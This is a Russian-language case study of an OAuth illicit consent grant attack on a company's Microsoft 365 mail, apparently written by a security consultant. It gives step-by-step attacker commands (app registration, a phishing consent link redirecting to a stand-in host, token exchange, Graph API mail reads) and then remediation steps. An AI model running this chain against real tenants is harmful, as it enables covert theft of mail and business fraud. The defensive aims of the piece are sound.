Собственник оптовой компании, поставки стройматериалов, был уверен: раз пароли никто не угадал и не украл, значит, всё под контролем. Двухфакторная защита стояла у всех — вход только с подтверждением на телефон. Он лично это проверял. А конкурент тем временем второй месяц подряд предлагал его клиентам цену на пару процентов ниже — буквально день в день после переписки с менеджером.
Классическая проверка логов входа ничего не дала: все входы легитимные, все с известных устройств, ни одной подозрительной геолокации. Дыра нашлась не там, где её обычно ищут.
Где на самом деле была дыра
Я проверил не пароли и не журнал входов, а список приложений, которым сотрудники когда-либо выдавали доступ к почтовому аккаунту через OAuth-согласие (consent). У менеджера по продажам полгода назад висело подключённое «приложение для отслеживания посылок» — обычное всплывающее окно вида «Приложение X запрашивает доступ к вашей почте: Разрешить / Отклонить», на которое человек нажал не глядя.
Это и есть механизм, который в отрасли называют illicit consent grant attack, а в свежем разборе техника получила имя ConsentFix — обнаруженная «Лабораторией Касперского» схема обхода защиты аккаунтов Microsoft 365 без единого пароля. Суть в том, что пользователь один раз выдаёт стороннему приложению делегированные права (Mail.Read, Mail.ReadWrite, offline_access) — и с этого момента приложение получает refresh-токен, который живёт независимо от пароля и MFA. Пароль можно сменить хоть десять раз, второй фактор можно ужесточить — токен продолжит работать, пока его явно не отозвать.
Похожий механизм согласий на доступ сторонних приложений есть и в отечественных облачных сервисах — Яндекс 360 и VK WorkSpace тоже используют OAuth2 для интеграций, и там пользователь точно так же может по невнимательности выдать токен фиктивному сервису.
Как это эксплуатируется
Технически атака строится не на брутфорсе и не на эксплуатации CVE в почтовом сервере, а на злоупотреблении легитимным протоколом OAuth 2.0 / OpenID Connect. Разберём по шагам, как это выглядит с точки зрения атакующего.
Шаг 1. Регистрация вредоносного приложения
Атакующий регистрирует приложение в Azure AD (Entra ID) через портал или CLI, запрашивая делегированные разрешения Microsoft Graph — обычно достаточно Mail.Read и offline_access, чтобы читать почту без ограничения по времени:
az ad app create \
--display-name "Track-Parcel-Pro" \
--sign-in-audience AzureADMultipleOrgs \
--required-resource-accesses '[{
"resourceAppId": "00000003-0000-0000-c000-000000000000",
"resourceAccess": [
{"id":"570282fd-fa5c-430d-a7fd-fc8dc98a9dca","type":"Scope"},
{"id":"7427e0e9-2fba-42fe-b0c0-848c9e6a8182","type":"Scope"}
]
}]'
Первый scope — Mail.Read, второй — offline_access. Приложению не нужны admin-consent привилегии — обычный пользователь может согласовать доступ сам, если в тенанте не выключен User consent.
Шаг 2. Доставка фишинговой ссылки согласия
Дальше нужен только клик по ссылке вида:
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=<app-id>
&response_type=code
&redirect_uri=https://track-parcel-pro.example/callback
&scope=Mail.Read offline_access
&prompt=consent
Ссылка рассылается через фишинговую инфраструктуру — на практике для массовой рассылки такие кампании собирают в gophish, а сама страница-приманка маскируется под трекер посылок, CRM-плагин или календарный виджет:
gophish campaigns create \
--template "parcel-tracking-invite" \
--landing-page "consent-redirect" \
--smtp "corp-relay"
Жертва видит стандартное окно Microsoft «Приложение запрашивает разрешение» — визуально неотличимое от легитимного запроса, потому что технически это и есть настоящий диалог Microsoft, просто со злонамеренным приложением на другом конце.
Шаг 3. Получение и использование токена
После нажатия «Принять» атакующий обменивает code на access/refresh токен:
curl -X POST https://login.microsoftonline.com/common/oauth2/v2.0/token \
-d "client_id=<app-id>" \
-d "client_secret=<secret>" \
-d "code=<auth-code>" \
-d "grant_type=authorization_code" \
-d "redirect_uri=https://track-parcel-pro.example/callback"
Ответ содержит access_token и refresh_token с TTL в 90 дней и автопродлением при каждом использовании — то есть фактически бессрочный. Дальше чтение почты идёт напрямую через Graph API, без пароля и без MFA-запроса:
curl -H "Authorization: Bearer <access_token>" \
"https://graph.microsoft.com/v1.0/me/messages?\$top=50&\$orderby=receivedDateTime desc"
Для автоматизации выгрузки в реальном времени в пентестерских и, увы, атакующих тулкитах используются готовые обвязки — например, TokenTactics или самописные скрипты на основе MSAL.PS, которые обновляют refresh_token и парсят вложения и переписку по ключевым словам («КП», «скидка», «прайс»).
Признаки в логах
Со стороны защиты это видно только в Unified Audit Log Microsoft 365 — событие называется Consent to application или Add OAuth2PermissionGrant, и в обычном мониторинге почты (вход/выход, подозрительные IP) оно не отображается вообще, потому что вход как таковой не совершается — приложение работает через API напрямую.
Get-AzureADPSPermissionGrant | Where-Object {$_.Scope -match "Mail"}
Что и почему сработало бы дальше
Одной кражи переписки атакующему обычно мало. Получив рабочий refresh-токен с правами Mail.ReadWrite, злоумышленник закономерно двигается дальше:
- Настраивает скрытое правило пересылки писем на внешний адрес через Graph API (
/me/mailFolders/inbox/messageRules) — теперь копия каждой сделки уходит автоматически, без нужды повторно опрашивать API. - При наличии scope Calendars.Read получает доступ к встречам — видит, когда и с кем менеджер обсуждает условия, и успевает «перехватить» клиента звонком раньше.
- Использует собранную переписку для BEC-атаки: пишет от имени менеджера письмо в духе «реквизиты изменились, платите на новый счёт» — это уже прямой финансовый вывод денег, а не просто утечка цен.
- Если разрешения шире (Files.Read, Sites.Read.All), забирает документы из OneDrive/SharePoint — коммерческие предложения, договоры, сканы паспортов контрагентов.
Всё это работает без единого запроса пароля и без единого MFA-пуша, потому что аутентификация уже пройдена один раз — на этапе согласия — и дальше живёт токен приложения, а не сессия пользователя.
Как закрыть
Работа заняла один день и не потребовала смены паролей или перенастройки MFA — проблема была не в них.
- Выгрузить список всех activного consent-грантов по тенанту и найти лишнее:
Get-AzureADPSPermissionGrant | Select ClientDisplayName, Scope, PrincipalDisplayName - Отозвать доступ у подозрительных приложений разом:
Remove-AzureADOAuth2PermissionGrant -ObjectId <grant-id> Remove-AzureADServicePrincipal -ObjectId <sp-id> - Отключить возможность пользователей самостоятельно согласовывать доступ сторонним приложениям (User consent) и перевести это на admin consent workflow:
Update-MgPolicyAuthorizationPolicy -DefaultUserRolePermissions @{ "allowedToCreateApps" = $false } Set-MgPolicyAuthorizationPolicy -PermissionGrantPolicyIdsAssignedToDefaultUserRole @() - Настроить Conditional Access и алерты Defender for Cloud Apps на событие
Consent to application— уведомление уходит администратору в мессенджер сразу при попытке нового согласия. - Для сервисов на других платформах (Яндекс 360, VK WorkSpace) — в разделе безопасности организации отключить возможность подключения сторонних OAuth-приложений без подтверждения администратора и точно так же выгрузить список уже выданных разрешений по каждому ключевому сотруднику.
- Провести короткую летучку с сотрудниками: показать реальный скриншот запроса согласия и объяснить, что «Разрешить доступ» — это не менее опасное действие, чем ввод пароля на фишинговой странице, просто визуально куда безобиднее.
Пароль можно вообще не трогать — достаточно, чтобы человек один раз нажал «Разрешить доступ» в приложении, которое выглядит безобидно.
Итог по деньгам: два клиента, которые давали компании порядка 800 000 ₽ в месяц и разовый контракт почти на 1,2 млн ₽, ушли к конкуренту за два месяца молчаливой утечки. Аудит списка OAuth-разрешений и их отзыв заняли один рабочий день и не стоили компании ничего, кроме времени специалиста — это несопоставимо дешевле, чем потеря даже одного из этих клиентов.
